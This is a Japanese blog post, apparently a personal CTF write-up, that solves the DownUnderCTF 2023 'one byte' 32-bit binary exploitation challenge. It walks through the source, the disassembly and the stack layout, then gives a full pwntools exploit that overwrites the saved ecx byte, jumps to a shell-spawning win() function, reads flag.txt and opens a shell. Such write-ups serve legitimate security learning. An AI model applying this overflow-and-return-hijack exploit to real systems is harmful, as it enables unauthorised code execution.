mn1's blog

コンピュータと仲良くなりたい。人に優しく生きたい

DownUnderCTF 2023 writeup

ductfが終わった後に1問だけ解いたので適当writeup

one byte[189 solves]

問題概要

渡されるソースコードと実行ファイルに設定されている防御機構は以下

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

void init() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stdin, 0, 2, 0);
}

void win() {
    system("/bin/sh");
}

int main() {
    init();

    printf("Free junk: 0x%lx\n", init);
    printf("Your turn: ");

    char buf[0x10];
    read(0, buf, 0x11);
}

checksec結果

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

32bitマシンですね。canaryだけついていないっぽい。ソースコードを見る限り実行すると謎にinitのアドレスをリークしてくれますね

Here's a one byte buffer overflow!

と問題文にある通り、readに渡されているbufは0x10(=16)文字が格納できますが、readで0x11(=17)文字書き込めてしまうので1バイトのbuffer overflow(bof)が狙えますね。1バイトしか溢れなかったらebpの書き換えしかできないじゃん~意味ないじゃん~と思う所ですが、ctfなので一旦どこの1バイトを書き換えられるのか確認してみます。

bofの書き込み場所

取り敢えずアセンブラを読みます。gdbdisassemble main とかしたら読めます。ちなみにgdbで実行ファイルの解析を始めるときはgdb -q <実行ファイル名>で行けます

   0x0000122e <+0>:     lea    ecx,[esp+0x4]
   0x00001232 <+4>:     and    esp,0xfffffff0
   0x00001235 <+7>:     push   DWORD PTR [ecx-0x4]
   0x00001238 <+10>:    push   ebp
   0x00001239 <+11>:    mov    ebp,esp
   0x0000123b <+13>:    push   ebx
   0x0000123c <+14>:    push   ecx
   0x0000123d <+15>:    sub    esp,0x10
   0x00001240 <+18>:    call   0x10c0 <__x86.get_pc_thunk.bx>
   0x00001245 <+23>:    add    ebx,0x2daf
   0x0000124b <+29>:    call   0x11bd <init>
   0x00001250 <+34>:    sub    esp,0x8
   0x00001253 <+37>:    lea    eax,[ebx-0x2e37]
   0x00001259 <+43>:    push   eax
   0x0000125a <+44>:    lea    eax,[ebx-0x1fe4]
   0x00001260 <+50>:    push   eax
   0x00001261 <+51>:    call   0x1060 <printf@plt>
   0x00001266 <+56>:    add    esp,0x10
   0x00001269 <+59>:    sub    esp,0xc
   0x0000126c <+62>:    lea    eax,[ebx-0x1fd2]
   0x00001272 <+68>:    push   eax
   0x00001273 <+69>:    call   0x1060 <printf@plt>
   0x00001278 <+74>:    add    esp,0x10
   0x0000127b <+77>:    sub    esp,0x4
   0x0000127e <+80>:    push   0x11
   0x00001280 <+82>:    lea    eax,[ebp-0x18]
   0x00001283 <+85>:    push   eax
   0x00001284 <+86>:    push   0x0
   0x00001286 <+88>:    call   0x1050 <read@plt>
   0x0000128b <+93>:    add    esp,0x10
   0x0000128e <+96>:    mov    eax,0x0
   0x00001293 <+101>:   lea    esp,[ebp-0x8]
   0x00001296 <+104>:   pop    ecx
   0x00001297 <+105>:   pop    ebx
   0x00001298 <+106>:   pop    ebp
   0x00001299 <+107>:   lea    esp,[ecx-0x4]
   0x0000129c <+110>:   ret

ぱっと見(実はよく考えましたが)関数の起動処理と終了処理が64bitマシンと違う気がしますね*1。抜き出すと以下の部分です。

起動処理

   0x0000122e <+0>:     lea    ecx,[esp+0x4]
   0x00001232 <+4>:     and    esp,0xfffffff0
   0x00001235 <+7>:     push   DWORD PTR [ecx-0x4]
   0x00001238 <+10>:    push   ebp
   0x00001239 <+11>:    mov    ebp,esp
   0x0000123b <+13>:    push   ebx
   0x0000123c <+14>:    push   ecx
   0x0000123d <+15>:    sub    esp,0x10

終了処理

   0x0000128b <+93>:    add    esp,0x10
   0x0000128e <+96>:    mov    eax,0x0
   0x00001293 <+101>:   lea    esp,[ebp-0x8]
   0x00001296 <+104>:   pop    ecx
   0x00001297 <+105>:   pop    ebx
   0x00001298 <+106>:   pop    ebp
   0x00001299 <+107>:   lea    esp,[ecx-0x4]
   0x0000129c <+110>:   ret

普通64bitマシンだと呼び出し元のrbpをpopしてから新たな関数のベースポインタに移動(mov rbp rsp)させて、rspを使う領域分よしなにsubするだけだと思うんですが、なんかやたら処理が多いですね。起動処理時に確保されるスタックを書き出してみるとこんな感じになります。0x20はrbp-0x20のアドレスを指します。

  • 0x20:
  • 0x1c:
  • 0x18:
  • 0x14:
  • 0x10: ecx
  • 0x0c: ebx
  • 0x08: ebp
  • 0x04: ecx-0x4のポインタ

0x20-0x14は、起動時にはbuf用の領域が確保されているだけなので何も書いていません。この特殊なスタックの積まれ方だと、bofしたときに書き換えられるのはecxの下位1バイトだということがわかります。つまりecx=0xffffd130が元の値だった場合、0x11(=17)回aを書き込むとこんな感じになります

  • 0x20: aaaa
  • 0x1c: aaaa
  • 0x18: aaaa
  • 0x14: aaaa
  • 0x10: 0xffffd161
  • 0x0c: ebx
  • 0x08: ebp
  • 0x04: ecx-0x4のポインタ

0x61がasciiの場合aにあたるので、ecxの末尾が61に書き換えられています。このスタックの状態を仮定して終了処理を順番に0x1293<+101>から追っていくと次のようになります。

  1. espの値をebp-0x8のポインタに変更する。つまり0x10を指す。
  2. ecxをpop。この時入る値は0x10に格納されている値(0xffffd161)
  3. ebxをpop。この時入る値は0x0cに入っている値
  4. ebpをpop。この時入る値は0x08に入っている値
  5. espの値をecx-0x4のポインタに変更する。つまり0xffffd161 - 0x4 = 0xffffd15d
  6. ret命令でespに格納されているアドレスの値(0xffffd15d)にjmp

5,6の処理に着目すると、bofによってecxの値が書き換わることで、最終的に関数終了時のretで遷移する先が変わってしまっているのがわかります。つまりbofによってreturnアドレスを変更できることがわかりました。

解法

ここまでで大体exploitの材料は揃ったので、どうやって攻撃するか考えます。ecx-0x4に格納される値をwinのアドレスに変更できればいいわけなので、入力でwinのアドレスを与えておいて、ecx-0x4がちょうどそのスタックを指すように調整してやればよさそうです。ただ今回はアドレスの値が毎回変わる*2ので、下位1バイトを適当な値に固定し、そのうち都合いい感じにアドレスが書き換わることを期待してwhileを回すようにしました。*3

#!/usr/bin/env python3

from pwn import *

exe = ELF("./onebyte_patched")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("2023.ductf.dev", 30018)

    return r


def main():
    while(1):
        r = conn()
        dist = 0x1203 - 0x11bd # winとinitのアドレスの差を計算
        
        r.recvuntil(b"Free junk: ")
        address_init = int(r.recvline().decode(), 0) # initのアドレスを取得
        address_win = address_init + dist # winのアドレスを計算
        info(f'win()  address: {hex(address_init)}')

        payload = p32(address_win) * 4 + b"L" # bofで書き換える値は4の倍数なら何でも。
        r.sendlineafter(b"Your turn: ", payload)

        try:
            r.sendline(b"cat flag.txt")
            log.info(r.recvline())
            r.interactive()
            break
        except:
            r.close()


if __name__ == "__main__":
    main()

実行したら以下の文字列が見えます

DUCTF{all_1t_t4k3s_is_0n3!}

わーい

*1:leaveなくね?で気づきました

*2:ASLRが有効になっている。なんでchecksecにASLR出てこないんですかねぇ

*3:pwninitっていうglibcとリンカのバージョンを自動で調整してくれるツールがあるんですが、実行するとexploitのテンプレも作ってくれるのでpwn解くときは毎回pwninitを実行してテンプレも作らせてます。